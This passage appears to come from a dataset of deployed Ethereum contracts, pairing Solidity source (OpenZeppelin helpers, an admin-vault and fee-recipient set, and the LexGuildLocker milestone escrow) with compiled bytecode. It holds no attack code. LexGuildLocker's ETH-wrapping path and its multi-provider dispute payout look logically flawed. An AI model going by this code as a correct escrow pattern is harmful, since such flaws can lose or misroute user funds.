) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {ERC20-approve}, and its usage is discouraged.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AdminVault {
address public owner;
address public admin;
constructor() {
owner = msg.sender;
admin = 0xac04A6f65491Df9634f6c5d640Bcc7EfFdbea326;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
require(admin == msg.sender, "msg.sender not admin");
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
require(admin == msg.sender, "msg.sender not admin");
admin = _admin;
}
}
/// @title AdminAuth Handles owner/admin priviligies over smart contracts
contract AdminAuth {
using SafeERC20 for IERC20;
AdminVault public adminVault = AdminVault(0x808231F6799ac3DF84DE0ddF792B71714d5b1F77);
modifier onlyOwner() {
require(adminVault.owner() == msg.sender, "msg.sender not owner");
_;
}
modifier onlyAdmin() {
require(adminVault.admin() == msg.sender, "msg.sender not admin");
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
/// @notice Changes the admin vault that is currently used
/// @param _newAdminVault Address of the new Admin Vault contract
function changeAdminVault(address _newAdminVault) public onlyAdmin {
adminVault = AdminVault(_newAdminVault);
}
}
/// @title Stores the fee recipient address and allows the owner to change it
contract FeeRecipient is AdminAuth {
address public wallet;
constructor(address _newWallet) public {
wallet = _newWallet;
}
function getFeeAddr() public view returns (address) {
return wallet;
}
function changeWalletAddr(address _newWallet) public onlyOwner {
wallet = _newWallet;
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063890d7fae1161005b578063890d7fae146100d65780638cedca71146100fc578063b38779eb14610104578063c579d4901461010c5761007d565b8063349850e61461008257806341c0e1b5146100aa578063521eb273146100b2575b600080fd5b6100a86004803603602081101561009857600080fd5b50356001600160a01b0316610142565b005b6100a8610226565b6100ba6102eb565b604080516001600160a01b039092168252519081900360200190f35b6100a8600480360360208110156100ec57600080fd5b50356001600160a01b03166102fa565b6100ba6103de565b6100ba6103ed565b6100a86004803603606081101561012257600080fd5b506001600160a01b038135811691602081013590911690604001356103fc565b600054604080516303e1469160e61b8152905133926001600160a01b03169163f851a440916004808301926020929190829003018186803b15801561018657600080fd5b505afa15801561019a573d6000803e3d6000fd5b505050506040513d60208110156101b057600080fd5b50516001600160a01b031614610204576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1030b236b4b760611b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600054604080516303e1469160e61b8152905133926001600160a01b03169163f851a440916004808301926020929190829003018186803b15801561026a57600080fd5b505afa15801561027e573d6000803e3d6000fd5b505050506040513d602081101561029457600080fd5b50516001600160a01b0316146102e8576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1030b236b4b760611b604482015290519081900360640190fd5b33ff5b6001546001600160a01b031681565b60005460408051638da5cb5b60e01b8152905133926001600160a01b031691638da5cb5b916004808301926020929190829003018186803b15801561033e57600080fd5b505afa158015610352573d6000803e3d6000fd5b505050506040513d602081101561036857600080fd5b50516001600160a01b0316146103bc576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6001546001600160a01b031690565b60005460408051638da5cb5b60e01b8152905133926001600160a01b031691638da5cb5b916004808301926020929190829003018186803b15801561044057600080fd5b505afa158015610454573d6000803e3d6000fd5b505050506040513d602081101561046a57600080fd5b50516001600160a01b0316146104be576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b038416141561051f576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610519573d6000803e3d6000fd5b50610533565b6105336001600160a01b0384168383610538565b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261053390849060006105da826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166106369092919063ffffffff16565b805190915015610533578080602001905160208110156105f957600080fd5b50516105335760405162461bcd60e51b815260040180806020018281038252602a815260200180610831602a913960400191505060405180910390fd5b6060610645848460008561064d565b949350505050565b6060610658856107f7565b6106a9576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106106e75780518252601f1990920191602091820191016106c8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610749576040519150601f19603f3d011682016040523d82523d6000602084013e61074e565b606091505b509150915081156107625791506106459050565b8051156107725780518082602001fd5b8360405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107bc5781810151838201526020016107a4565b50505050905090810190601f1680156107e95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061064557505015159291505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212208aa8da03235186362778f184f9eae13f349c36a43524ac791a6ba0548280661964736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 6,197 |
0xd1400d2c740d061434fa46c9e0f818bd14147e61
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
██████╗ ██╗ ██╗██╗██╗ ██████╗
██╔════╝ ██║ ██║██║██║ ██╔══██╗
██║ ███╗██║ ██║██║██║ ██║ ██║
██║ ██║██║ ██║██║██║ ██║ ██║
╚██████╔╝╚██████╔╝██║███████╗██████╔╝
╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═════╝
██╗ ██████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
██║ ██║ ██║██║ █████╔╝ █████╗ ██████╔╝
██║ ██║ ██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗
███████╗╚██████╔╝╚██████╗██║ ██╗███████╗██║ ██║
╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
DEAR MSG.SENDER(S):
/ LXGL is a project in beta.
// Please audit & use at your own risk.
/// Entry into LXGL shall not create an attorney/client relationship.
//// Likewise, LXGL should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
~presented by LexDAO | Raid Guild LLC
*/
pragma solidity 0.5.17;
interface IERC20 { // brief interface for erc20 token txs
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IWETH { // brief interface for canonical ether token wrapper contract
function deposit() payable external;
function transfer(address dst, uint wad) external returns (bool);
}
library Address { // helper for address type / openzeppelin-contracts/blob/master/contracts/utils/Address.sol
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
library SafeERC20 { // wrapper around erc20 token txs for non-standard contracts / openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: erc20 operation did not succeed");
}
}
}
library SafeMath { // wrapper over solidity arithmetic for unit under/overflow checks
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
}
contract Context { // describes current contract execution context (metaTX support) / openzeppelin-contracts/blob/master/contracts/GSN/Context.sol
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract LexGuildLocker is Context { // splittable digital deal lockers w/ embedded arbitration tailored for guild work
using SafeERC20 for IERC20;
using SafeMath for uint256;
/** <$> LXGL <$> **/
address public lexDAO;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // canonical ether token wrapper contract reference
uint256 public lockerCount;
uint256 public MAX_DURATION; // time limit on token lockup - default 63113904 (2-year)
uint256 public resolutionRate;
mapping(uint256 => Locker) public lockers;
struct Locker {
address client;
address[] provider;
address resolver;
address token;
uint8 confirmed;
uint8 locked;
uint256[] batch;
uint256 cap;
uint256 released;
uint256 termination;
bytes32 details;
}
event RegisterLocker(address indexed client, address[] indexed provider, address indexed resolver, address token, uint256[] batch, uint256 cap, uint256 index, uint256 termination, bytes32 details);
event ConfirmLocker(uint256 indexed index, uint256 indexed sum);
event Release(uint256 indexed index, uint256[] indexed milestone);
event Withdraw(uint256 indexed index, uint256 indexed remainder);
event Lock(address indexed sender, uint256 indexed index, bytes32 indexed details);
event Resolve(address indexed resolver, uint256 indexed clientAward, uint256[] indexed providerAward, uint256 index, uint256 resolutionFee, bytes32 details);
event UpdateLockerSettings(address indexed lexDAO, uint256 indexed MAX_DURATION, uint256 indexed resolutionRate, bytes32 details);
constructor (address _lexDAO, uint256 _MAX_DURATION, uint256 _resolutionRate) public {
lexDAO = _lexDAO;
MAX_DURATION = _MAX_DURATION;
resolutionRate = _resolutionRate;
}
/***************
LOCKER FUNCTIONS
***************/
function registerLocker( // register locker for token deposit & client deal confirmation
address client,
address[] calldata provider,
address resolver,
address token,
uint256[] calldata batch,
uint256 cap,
uint256 milestones,
uint256 termination, // exact termination date in seconds since epoch
bytes32 details) external returns (uint256) {
uint256 sum;
for (uint256 i = 0; i < provider.length; i++) {
sum = sum.add(batch[i]);
}
require(sum.mul(milestones) == cap, "deposit != milestones");
require(termination <= now.add(MAX_DURATION), "duration maxed");
lockerCount = lockerCount + 1;
uint256 index = lockerCount;
lockers[index] = Locker(
client,
provider,
resolver,
token,
0,
0,
batch,
cap,
0,
termination,
details);
emit RegisterLocker(client, provider, resolver, token, batch, cap, index, termination, details);
return index;
}
function confirmLocker(uint256 index) payable external { // client confirms deposit of cap & locks in deal
Locker storage locker = lockers[index];
require(locker.confirmed == 0, "confirmed");
require(_msgSender() == locker.client, "!client");
uint256 sum = locker.cap;
if (locker.token == wETH && msg.value > 0) {
require(msg.value == sum, "!ETH");
IWETH(wETH).deposit();
(bool success, ) = wETH.call.value(msg.value)("");
require(success, "!transfer");
IWETH(wETH).transfer(address(this), msg.value);
} else {
IERC20(locker.token).safeTransferFrom(msg.sender, address(this), sum);
}
locker.confirmed = 1;
emit ConfirmLocker(index, sum);
}
function release(uint256 index) external { // client transfers locker milestone batch to provider(s)
Locker storage locker = lockers[index];
require(locker.locked == 0, "locked");
require(locker.confirmed == 1, "!confirmed");
require(locker.cap > locker.released, "released");
require(_msgSender() == locker.client, "!client");
uint256[] memory milestone = locker.batch;
for (uint256 i = 0; i < locker.provider.length; i++) {
IERC20(locker.token).safeTransfer(locker.provider[i], milestone[i]);
locker.released = locker.released.add(milestone[i]);
}
emit Release(index, milestone);
}
function withdraw(uint256 index) external { // withdraw locker remainder to client if termination time passes & no lock
Locker storage locker = lockers[index];
require(locker.locked == 0, "locked");
require(locker.confirmed == 1, "!confirmed");
require(locker.cap > locker.released, "released");
require(now > locker.termination, "!terminated");
uint256 remainder = locker.cap.sub(locker.released);
IERC20(locker.token).safeTransfer(locker.client, remainder);
locker.released = locker.released.add(remainder);
emit Withdraw(index, remainder);
}
/************
ADR FUNCTIONS
************/
function lock(uint256 index, bytes32 details) external { // client or main (0) provider can lock remainder for resolution during locker period / update request details
Locker storage locker = lockers[index];
require(locker.confirmed == 1, "!confirmed");
require(locker.cap > locker.released, "released");
require(now < locker.termination, "terminated");
require(_msgSender() == locker.client || _msgSender() == locker.provider[0], "!party");
locker.locked = 1;
emit Lock(_msgSender(), index, details);
}
function resolve(uint256 index, uint256 clientAward, uint256[] calldata providerAward, bytes32 details) external { // resolver splits locked deposit remainder between client & provider(s)
Locker storage locker = lockers[index];
uint256 remainder = locker.cap.sub(locker.released);
uint256 resolutionFee = remainder.div(resolutionRate); // calculate dispute resolution fee
require(locker.locked == 1, "!locked");
require(locker.cap > locker.released, "released");
require(_msgSender() == locker.resolver, "!resolver");
require(_msgSender() != locker.client, "resolver == client");
for (uint256 i = 0; i < locker.provider.length; i++) {
require(msg.sender != locker.provider[i], "resolver == provider");
require(clientAward.add(providerAward[i]) == remainder.sub(resolutionFee), "resolution != remainder");
IERC20(locker.token).safeTransfer(locker.provider[i], providerAward[i]);
}
IERC20(locker.token).safeTransfer(locker.client, clientAward);
IERC20(locker.token).safeTransfer(locker.resolver, resolutionFee);
locker.released = locker.released.add(remainder);
emit Resolve(_msgSender(), clientAward, providerAward, index, resolutionFee, details);
}
/**************
LEXDAO FUNCTION
**************/
function updateLockerSettings(address _lexDAO, uint256 _MAX_DURATION, uint256 _resolutionRate, bytes32 details) external {
require(_msgSender() == lexDAO, "!lexDAO");
lexDAO = _lexDAO;
MAX_DURATION = _MAX_DURATION;
resolutionRate = _resolutionRate;
emit UpdateLockerSettings(lexDAO, MAX_DURATION, resolutionRate, details);
}
}
|
0x6080604052600436106100c25760003560e01c80636a3cb3001161007f5780639b4b467c116100595780639b4b467c14610398578063b1724b4614610421578063ccd96eb614610436578063f24286211461044b576100c2565b80636a3cb300146102e0578063809aab92146102fd578063946f2e4814610383576100c2565b806322b7def5146100c75780632e1a7d4d146101e457806337bdc99b146102105780633e217e4f1461023a578063496a36f21461027f5780634f411f7b146102af575b600080fd5b3480156100d357600080fd5b506101d260048036036101208110156100eb57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561011657600080fd5b82018360208201111561012857600080fd5b8035906020019184602083028401116401000000008311171561014a57600080fd5b919390926001600160a01b038335811693602081013590911692919060608101906040013564010000000081111561018157600080fd5b82018360208201111561019357600080fd5b803590602001918460208302840111640100000000831117156101b557600080fd5b919350915080359060208101359060408101359060600135610460565b60408051918252519081900360200190f35b3480156101f057600080fd5b5061020e6004803603602081101561020757600080fd5b5035610819565b005b34801561021c57600080fd5b5061020e6004803603602081101561023357600080fd5b50356109de565b34801561024657600080fd5b5061020e6004803603608081101561025d57600080fd5b506001600160a01b038135169060208101359060408101359060600135610c96565b34801561028b57600080fd5b5061020e600480360360408110156102a257600080fd5b5080359060200135610d5c565b3480156102bb57600080fd5b506102c4610f34565b604080516001600160a01b039092168252519081900360200190f35b61020e600480360360208110156102f657600080fd5b5035610f43565b34801561030957600080fd5b506103276004803603602081101561032057600080fd5b503561124a565b604080516001600160a01b039a8b168152988a1660208a0152969098168787015260ff948516606088015292909316608086015260a085015260c084019190915260e08301526101008201929092529051908190036101200190f35b34801561038f57600080fd5b506101d26112a9565b3480156103a457600080fd5b5061020e600480360360808110156103bb57600080fd5b8135916020810135918101906060810160408201356401000000008111156103e257600080fd5b8201836020820111156103f457600080fd5b8035906020019184602083028401116401000000008311171561041657600080fd5b9193509150356112af565b34801561042d57600080fd5b506101d261169a565b34801561044257600080fd5b506101d26116a0565b34801561045757600080fd5b506102c46116a6565b600080805b8b81101561049c5761049289898381811061047c57fe5b90506020020135836116b590919063ffffffff16565b9150600101610465565b50856104ae828763ffffffff6116d016565b146104f8576040805162461bcd60e51b81526020600482015260156024820152746465706f73697420213d206d696c6573746f6e657360581b604482015290519081900360640190fd5b60035461050c90429063ffffffff6116b516565b841115610551576040805162461bcd60e51b815260206004820152600e60248201526d191d5c985d1a5bdb881b585e195960921b604482015290519081900360640190fd5b600254600101600281905550600060025490506040518061016001604052808f6001600160a01b031681526020018e8e8080602002602001604051908101604052809392919081815260200183836020028082843760009201829052509385525050506001600160a01b03808f16602080850191909152908e1660408085019190915260608401839052608084019290925281518c820281810183019093528c815260a090930192918d918d918291850190849080828437600092018290525093855250505060208083018b90526040808401839052606084018a9052608090930188905284825260058152919020825181546001600160a01b0319166001600160a01b039091161781558282015180519192610676926001850192909101906119de565b5060408201516002820180546001600160a01b03199081166001600160a01b03938416179091556060840151600384018054608087015160a088015191909416929094169190911760ff60a01b1916600160a01b60ff938416021760ff60a81b1916600160a81b929093169190910291909117905560c08201518051610706916004840191602090910190611a43565b5060e082015181600501556101008201518160060155610120820151816007015561014082015181600801559050508a6001600160a01b03168d8d60405180838360200280828437808301925050509250505060405180910390208f6001600160a01b03167fd412ebdd543e0f37e93f02e191bdbb7e705adb4ccd60eecad8f843ac302d97718d8d8d8d888d8d60405180886001600160a01b03166001600160a01b03168152602001806020018681526020018581526020018481526020018381526020018281038252888882818152602001925060200280828437600083820152604051601f909101601f19169092018290039a509098505050505050505050a49d9c50505050505050505050505050565b60008181526005602052604090206003810154600160a81b900460ff1615610871576040805162461bcd60e51b81526020600482015260066024820152651b1bd8dad95960d21b604482015290519081900360640190fd5b6003810154600160a01b900460ff166001146108c1576040805162461bcd60e51b815260206004820152600a6024820152690858dbdb999a5c9b595960b21b604482015290519081900360640190fd5b8060060154816005015411610908576040805162461bcd60e51b81526020600482015260086024820152671c995b19585cd95960c21b604482015290519081900360640190fd5b8060070154421161094e576040805162461bcd60e51b815260206004820152600b60248201526a085d195c9b5a5b985d195960aa1b604482015290519081900360640190fd5b600061096b826006015483600501546116f790919063ffffffff16565b82546003840154919250610992916001600160a01b0390811691168363ffffffff61170c16565b60068201546109a7908263ffffffff6116b516565b6006830155604051819084907f56ca301a9219608c91e7bcee90e083c19671d2cdcc96752c7af291cee5f9c8c890600090a3505050565b60008181526005602052604090206003810154600160a81b900460ff1615610a36576040805162461bcd60e51b81526020600482015260066024820152651b1bd8dad95960d21b604482015290519081900360640190fd5b6003810154600160a01b900460ff16600114610a86576040805162461bcd60e51b815260206004820152600a6024820152690858dbdb999a5c9b595960b21b604482015290519081900360640190fd5b8060060154816005015411610acd576040805162461bcd60e51b81526020600482015260086024820152671c995b19585cd95960c21b604482015290519081900360640190fd5b80546001600160a01b0316610ae0611763565b6001600160a01b031614610b25576040805162461bcd60e51b81526020600482015260076024820152660858db1a595b9d60ca1b604482015290519081900360640190fd5b606081600401805480602002602001604051908101604052809291908181526020018280548015610b7557602002820191906000526020600020905b815481526020019060010190808311610b61575b50939450600093505050505b6001830154811015610c2657610bef836001018281548110610b9f57fe5b9060005260206000200160009054906101000a90046001600160a01b0316838381518110610bc957fe5b602090810291909101015160038601546001600160a01b0316919063ffffffff61170c16565b610c19828281518110610bfe57fe5b602002602001015184600601546116b590919063ffffffff16565b6006840155600101610b81565b508060405180828051906020019060200280838360005b83811015610c55578181015183820152602001610c3d565b505060405192909401829003822095508894507f0ba7c0e20bf8f7c009fe9534493957cb96873beb4160f665416d5ad709fb7c7893506000925050a3505050565b6000546001600160a01b0316610caa611763565b6001600160a01b031614610cef576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038087166001600160a01b03199092169190911791829055600385905560048490556040805184815290518593879316917f8574f47cd645c1f4bc413288476426bb8deca94e1f5e5014f65d8cd0b13498de919081900360200190a450505050565b60008281526005602052604090206003810154600160a01b900460ff16600114610dba576040805162461bcd60e51b815260206004820152600a6024820152690858dbdb999a5c9b595960b21b604482015290519081900360640190fd5b8060060154816005015411610e01576040805162461bcd60e51b81526020600482015260086024820152671c995b19585cd95960c21b604482015290519081900360640190fd5b80600701544210610e46576040805162461bcd60e51b815260206004820152600a6024820152691d195c9b5a5b985d195960b21b604482015290519081900360640190fd5b80546001600160a01b0316610e59611763565b6001600160a01b03161480610ea1575080600101600081548110610e7957fe5b6000918252602090912001546001600160a01b0316610e96611763565b6001600160a01b0316145b610edb576040805162461bcd60e51b815260206004820152600660248201526521706172747960d01b604482015290519081900360640190fd5b60038101805460ff60a81b1916600160a81b1790558183610efa611763565b6001600160a01b03167fceea5b421e1b4e7ed15f76569a4c1608f411702926a7d2ffff370e07913df3b660405160405180910390a4505050565b6000546001600160a01b031681565b60008181526005602052604090206003810154600160a01b900460ff1615610f9e576040805162461bcd60e51b815260206004820152600960248201526818dbdb999a5c9b595960ba1b604482015290519081900360640190fd5b80546001600160a01b0316610fb1611763565b6001600160a01b031614610ff6576040805162461bcd60e51b81526020600482015260076024820152660858db1a595b9d60ca1b604482015290519081900360640190fd5b600581015460015460038301546001600160a01b03908116911614801561101d5750600034115b156111e35780341461105f576040805162461bcd60e51b815260206004808301919091526024820152630428aa8960e31b604482015290519081900360640190fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156110af57600080fd5b505af11580156110c3573d6000803e3d6000fd5b5050600154604051600093506001600160a01b03909116915034908381818185875af1925050503d8060008114611116576040519150601f19603f3d011682016040523d82523d6000602084013e61111b565b606091505b505090508061115d576040805162461bcd60e51b815260206004820152600960248201526810ba3930b739b332b960b91b604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b815230600482015234602482015290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156111b057600080fd5b505af11580156111c4573d6000803e3d6000fd5b505050506040513d60208110156111da57600080fd5b50611203915050565b6003820154611203906001600160a01b031633308463ffffffff61176816565b60038201805460ff60a01b1916600160a01b179055604051819084907fb6cf08bb3146c82027154a632407080a44f93762cb5145689045e1efbc6df0b490600090a3505050565b600560208190526000918252604090912080546002820154600383015493830154600684015460078501546008909501546001600160a01b0394851696938516959484169460ff600160a01b8604811695600160a81b90041693929189565b60045481565b600085815260056020819052604082206006810154918101549092916112db919063ffffffff6116f716565b905060006112f4600454836117c890919063ffffffff16565b6003840154909150600160a81b900460ff16600114611344576040805162461bcd60e51b8152602060048201526007602482015266085b1bd8dad95960ca1b604482015290519081900360640190fd5b826006015483600501541161138b576040805162461bcd60e51b81526020600482015260086024820152671c995b19585cd95960c21b604482015290519081900360640190fd5b60028301546001600160a01b03166113a1611763565b6001600160a01b0316146113e8576040805162461bcd60e51b815260206004820152600960248201526810b932b9b7b63b32b960b91b604482015290519081900360640190fd5b82546001600160a01b03166113fb611763565b6001600160a01b0316141561144c576040805162461bcd60e51b81526020600482015260126024820152711c995cdbdb1d995c880f4f4818db1a595b9d60721b604482015290519081900360640190fd5b60005b60018401548110156115b05783600101818154811061146a57fe5b6000918252602090912001546001600160a01b03163314156114ca576040805162461bcd60e51b81526020600482015260146024820152733932b9b7b63b32b9101e9e90383937bb34b232b960611b604482015290519081900360640190fd5b6114da838363ffffffff6116f716565b6114ff8888848181106114e957fe5b905060200201358a6116b590919063ffffffff16565b14611551576040805162461bcd60e51b815260206004820152601760248201527f7265736f6c7574696f6e20213d2072656d61696e646572000000000000000000604482015290519081900360640190fd5b6115a884600101828154811061156357fe5b6000918252602090912001546001600160a01b031688888481811061158457fe5b60038901546001600160a01b0316939260209091020135905063ffffffff61170c16565b60010161144f565b50825460038401546115d5916001600160a01b0391821691168963ffffffff61170c16565b600283015460038401546115fc916001600160a01b0391821691168363ffffffff61170c16565b6006830154611611908363ffffffff6116b516565b600684015560405186908690808360208402808284378083019250505092505050604051809103902087611643611763565b604080518c81526020810186905280820189905290516001600160a01b0392909216917ffc0f02d45b4cba1a3382a4f77fc20f43844e3d0367deecc60c2365b235ef16d39181900360600190a45050505050505050565b60035481565b60025481565b6001546001600160a01b031681565b6000828201838110156116c757600080fd5b90505b92915050565b6000826116df575060006116ca565b828202828482816116ec57fe5b04146116c757600080fd5b60008282111561170657600080fd5b50900390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261175e9084906117ea565b505050565b335b90565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526117c29085906117ea565b50505050565b60008082116117d657600080fd5b60008284816117e157fe5b04949350505050565b6117fc826001600160a01b03166119a2565b61184d576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061188b5780518252601f19909201916020918201910161186c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146118ed576040519150601f19603f3d011682016040523d82523d6000602084013e6118f2565b606091505b509150915081611949576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156117c25780806020019051602081101561196557600080fd5b50516117c25760405162461bcd60e51b815260040180806020018281038252602a815260200180611ac9602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906119d657508115155b949350505050565b828054828255906000526020600020908101928215611a33579160200282015b82811115611a3357825182546001600160a01b0319166001600160a01b03909116178255